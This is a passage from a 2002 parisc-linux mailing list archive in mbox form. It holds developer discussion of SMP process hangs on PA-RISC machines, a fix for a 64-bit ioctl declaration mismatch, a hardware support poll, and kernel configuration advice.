OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------FF9D73B59D549C57264DDB22--




From - Thu Nov 08 21:23:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18-pa35 SMP process hangs on a J200
Date: Tue, 11 Jun 2002 10:08:05 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <5BA66B90-7D12-11D6-B01F-0030656F07A2@esiee.fr>
References: <1023773807.7353.19.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v482)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621386 8672 80.91.229.3 (22 Nov 2014 01:56:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, grundler@cup.hp.com,
	Randolph Chung <randolph@tausq.org>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 11 02:08:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9467A4843
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Jun 2002 02:08:06 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 90D9649BF4; Tue, 11 Jun 2002 10:08:05 +0200 (CEST)
In-Reply-To: <1023773807.7353.19.camel@beavis>
X-Mailer: Apple Mail (2.482)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15068

Le mardi 11 juin 2002, =E0 07:36 , Ryan Bradetich a =E9crit :

>
> Digging into the system a bit, here is what I found:
>
> 	* The setiathome process that hung (PID 326) will hang any other
> 	  process that tries to access /proc/326/*.  (This is why top,
> 	  ps, etc all hang after the process gets stuck).
Here we run a setiathome client, a distributed.net client, and from=20
times to times we build isos.

This is consistent with what we experienced, but the first time we=20
remarked a hung (after 44 days of uptime), all proccesses that try to=20
get info about running processes, such as 'top', 'ps' or even a 'ls=20
/proc/PID/' would hang. 'w' would also hang, but not 'uptime'. It was=20
with -pa16.

The second time we got a hang, with -pa33, 'ps -ef' hung just before=20
displaying info about the setiathome client.

Another interesting thing is that after issuing any of these commands,=20=

the loadavg increased by 1, ie if we got a loadavg of 2.00 before trying=20=

a ps, a w and a ls /proc/PID, we would get a loadavg of 5.00 after these=20=

3 commands.
>
> 	* None of the other processes appear to be stuck. (ie. I can
> 	  access the /proc/PID/* information and the command will 	 =
 return).
We cannot access such info, alas.
>
>
Anyway, as Randolph Chung said, Paul Bame's work might be interesting...



Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:23:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Pb with ioctl and 64bits
Date: Tue, 11 Jun 2002 13:40:49 +0200
Organization: H.P
Lines: 38
Approved: news@gmane.org
Message-ID: <3D05E1C1.DF69D5B@admin.france.hp.com>
References: <3D04BD42.446D930@admin.france.hp.com> <20020610152428.GB5876@tausq.org> <3D059013.9272EEEA@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------91307E954301418D93628C0F"
X-Trace: ger.gmane.org 1416621387 8930 80.91.229.3 (22 Nov 2014 01:56:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:27 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 11 05:46:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id C4A784849
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Jun 2002 05:46:13 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP
	id 26A18D65; Tue, 11 Jun 2002 13:46:12 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id NAA25830; Tue, 11 Jun 2002 13:45:03 +0200 (METDST)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15069

This is a multi-part message in MIME format.
--------------91307E954301418D93628C0F
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Haaaaa, I've succeded at the end. Now ioctls are working fine.
Sorry, I beg your pardon, the probleme was coming from the manner I
declare my ioctls cmds. With 64bits kernel it is:
#define DIOSDUMPDEV32             _IOW('p',0xa0,unsigned int) 
And in user space it is (32 bits):
#define DIOSDUMPDEV32             _IOW('p',0xa0,unsigned long)

	Thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------91307E954301418D93628C0F
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------91307E954301418D93628C0F--




From - Thu Nov 08 21:23:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18-pa35 SMP process hangs on a J200
Date: Tue, 11 Jun 2002 07:10:04 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <02061107100403.00732@localhost.localdomain>
References: <5BA66B90-7D12-11D6-B01F-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621387 8933 80.91.229.3 (22 Nov 2014 01:56:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, grundler@cup.hp.com,
	Randolph Chung <randolph@tausq.org>
To: Thibaut VARENE <varenet@esiee.fr>,
	Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 11 06:18:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.goquest.com (mail.goquest.com [63.172.73.8])
	by dsl2.external.hp.com (Postfix) with SMTP id 407A3484A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Jun 2002 06:18:28 -0600 (MDT)
Original-Received: (qmail 24410 invoked from network); 11 Jun 2002 12:18:22 -0000
Original-Received: from unknown (HELO localhost.localdomain) (65.162.253.40)
  by mail.goquest.com with SMTP; 11 Jun 2002 12:18:22 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <5BA66B90-7D12-11D6-B01F-0030656F07A2@esiee.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15070

On Tuesday 11 June 2002 03:08 am, Thibaut VARENE wrote:
> Le mardi 11 juin 2002,  07:36 , Ryan Bradetich a crit :
> > Digging into the system a bit, here is what I found:
> >
> > 	* The setiathome process that hung (PID 326) will hang any other
> > 	  process that tries to access /proc/326/*.  (This is why top,
> > 	  ps, etc all hang after the process gets stuck).
Sirs...

I SEEM to experience a similar situation on 2.4.18-linux-x86-SMP using the 
P111-S processors (with 512K L2 cache).
Quite rare; evidently some very small window for failure.
I don't have any solid leads yet (although I have theories).

Just a note that it might not be HPPA specific.

Mike



From - Thu Nov 08 21:23:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18-pa35 SMP process hangs on a J200
Date: Tue, 11 Jun 2002 07:58:48 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20020611145848.GA2796@tausq.org>
References: <5BA66B90-7D12-11D6-B01F-0030656F07A2@esiee.fr> <02061107100403.00732@localhost.localdomain>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621387 8936 80.91.229.3 (22 Nov 2014 01:56:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Michael S. Zick" <mszick@goquest.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 11 08:58:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail14.speakeasy.net [216.254.0.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77F974845
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Jun 2002 08:58:55 -0600 (MDT)
Original-Received: (qmail 13929 invoked from network); 11 Jun 2002 14:58:53 -0000
Original-Received: from unknown (HELO gandalf.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail14.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <mszick@goquest.com>; 11 Jun 2002 14:58:53 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.34 #1 (Debian))
	id 17Hn6e-0000jb-00; Tue, 11 Jun 2002 07:58:48 -0700
Content-Disposition: inline
In-Reply-To: <02061107100403.00732@localhost.localdomain>
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15071

> I SEEM to experience a similar situation on 2.4.18-linux-x86-SMP using the 
> P111-S processors (with 512K L2 cache).
> Quite rare; evidently some very small window for failure.
> I don't have any solid leads yet (although I have theories).

On hppa this is quite easy to reproduce. When Dave is compiling gcc we
can crash the box every hour or so.... :-)

It's interesting to note that even with a UP kernel on the rp2470, the
kernel doesn't seem to be very stable (though better than SMP).... I
think we are looking at multiple bugs here.....

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:23:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18-pa35 SMP process hangs on a J200
Date: Tue, 11 Jun 2002 11:04:01 -0400 (EDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <200206111504.g5BF41vN021790@hiauly1.hia.nrc.ca>
References: <20020611145848.GA2796@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621388 8942 80.91.229.3 (22 Nov 2014 01:56:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:28 +0000 (UTC)
Cc: mszick@goquest.com, parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 11 09:26:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A246484E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Jun 2002 09:26:12 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g5BF42FN021792;
	Tue, 11 Jun 2002 11:04:02 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g5BF41vN021790;
	Tue, 11 Jun 2002 11:04:01 -0400 (EDT)
In-Reply-To: <20020611145848.GA2796@tausq.org> from "Randolph Chung" at Jun 11, 2002 07:58:48 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15072

> It's interesting to note that even with a UP kernel on the rp2470, the
> kernel doesn't seem to be very stable (though better than SMP).... I
> think we are looking at multiple bugs here.....

Quite likely.  The A500 seemed more stable.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: The PA/Linux Team@ESIEE <Puffin@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Major Supported Hardware List Upgrade Poll
Date: Tue, 11 Jun 2002 17:57:39 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <F4EEEB4C-7D53-11D6-B980-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v482)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621388 8945 80.91.229.3 (22 Nov 2014 01:56:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:28 +0000 (UTC)
To: PA/Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 11 09:57:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 58626484F
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Jun 2002 09:57:41 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP id 1C65E49C5C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Jun 2002 17:57:40 +0200 (CEST)
X-Mailer: Apple Mail (2.482)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15073

Hi all !

We are about to start a big update and refresh of our supported hardware 
list.

We would like to make it more useful and clear than it is now.

To achieve that, we will need the contribution of each of you fellows :o)

The idea is quite simple:

We would like all of you to check the list:
http://pateam.esiee.fr/list.html
for the box(es) you might own and on which you tried to install palinux.

Then check what's written (supported, not supported, serial, and so on).
If you see an inconsistency with what you experienced, then mail us at:
mailto:puffin@esiee.fr
with elements that would help us for an update.
Please also mention if you allow us to publish your mail/mail address.

What would be very useful is a complete report of what you tried, and 
what succeeded and what failed.
i.e. 32/64bit, SMP/UP, graphic/serial console, kernel version, etc...

The typical useful piece you can attach to your mail would be the output 
of the following commands:

$ dmesg
$ uname -a
$ cat /proc/cpuinfo

!!PLEASE!! do not answer at my personal mailbox or on the m-l, to avoid 
polluting both ;o)
Take care of using the dedicated 'puffin@esiee.fr' instead.

Anyway, thanks a lot for your help, we expect to be able to provide a 
far more complete and useful version of our supported hardware list 
thanks to your feedback.


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:23:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Kernel compiling problem
Date: Tue, 11 Jun 2002 17:25:24 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20020611172524.K27449@parcelfarce.linux.theplanet.co.uk>
References: <012801c21122$35e2a000$86000a0a@kingdom> <20020611123839.H27449@parcelfarce.linux.theplanet.co.uk> <002b01c21163$c2ac4720$86000a0a@kingdom>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621388 8948 80.91.229.3 (22 Nov 2014 01:56:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:28 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Gianpiero Fasulo <gfasulo@kingcom.it>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 11 10:25:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2CF604852
	for <parisc-linux@parisc-linux.org>; Tue, 11 Jun 2002 10:25:26 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17HoSS-0005Al-00; Tue, 11 Jun 2002 17:25:24 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <002b01c21163$c2ac4720$86000a0a@kingdom>; from gfasulo@kingcom.it on Tue, Jun 11, 2002 at 06:19:28PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15074

On Tue, Jun 11, 2002 at 06:19:28PM +0200, Gianpiero Fasulo wrote:
> Then i have do the make config and i have modify the .config file
> (CONFIG_PARISC64=y).
> The make dep is ok but when i give the make vmlinux command i have this

if you modify .config by hand, you must `make oldconfig' afterwards.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Kernel compiling problem
Date: Tue, 11 Jun 2002 18:55:49 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20020611185549.L27449@parcelfarce.linux.theplanet.co.uk>
References: <012801c21122$35e2a000$86000a0a@kingdom> <20020611123839.H27449@parcelfarce.linux.theplanet.co.uk> <002b01c21163$c2ac4720$86000a0a@kingdom> <20020611172524.K27449@parcelfarce.linux.theplanet.co.uk> <006901c21165$e2c7a8e0$86000a0a@kingdom>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621389 8950 80.91.229.3 (22 Nov 2014 01:56:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:29 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Gianpiero Fasulo <gfasulo@kingcom.it>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 11 11:55:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2E124851
	for <parisc-linux@parisc-linux.org>; Tue, 11 Jun 2002 11:55:51 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17Hprx-0006uq-00; Tue, 11 Jun 2002 18:55:49 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <006901c21165$e2c7a8e0$86000a0a@kingdom>; from gfasulo@kingcom.it on Tue, Jun 11, 2002 at 06:34:41PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15075

On Tue, Jun 11, 2002 at 06:34:41PM +0200, Gianpiero Fasulo wrote:
> HI,
> i don't want to modify .config by hand, but when i give make oldconfig, the
> CONFIG_PARISC in not CONFIG_PARISC64.
> OK?

you always get CONFIG_PARISC.  you get CONFIG_PARISC64 as well if you
select it.

stop trimming the list from your replies -- this isn't a free help
service for you alone.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
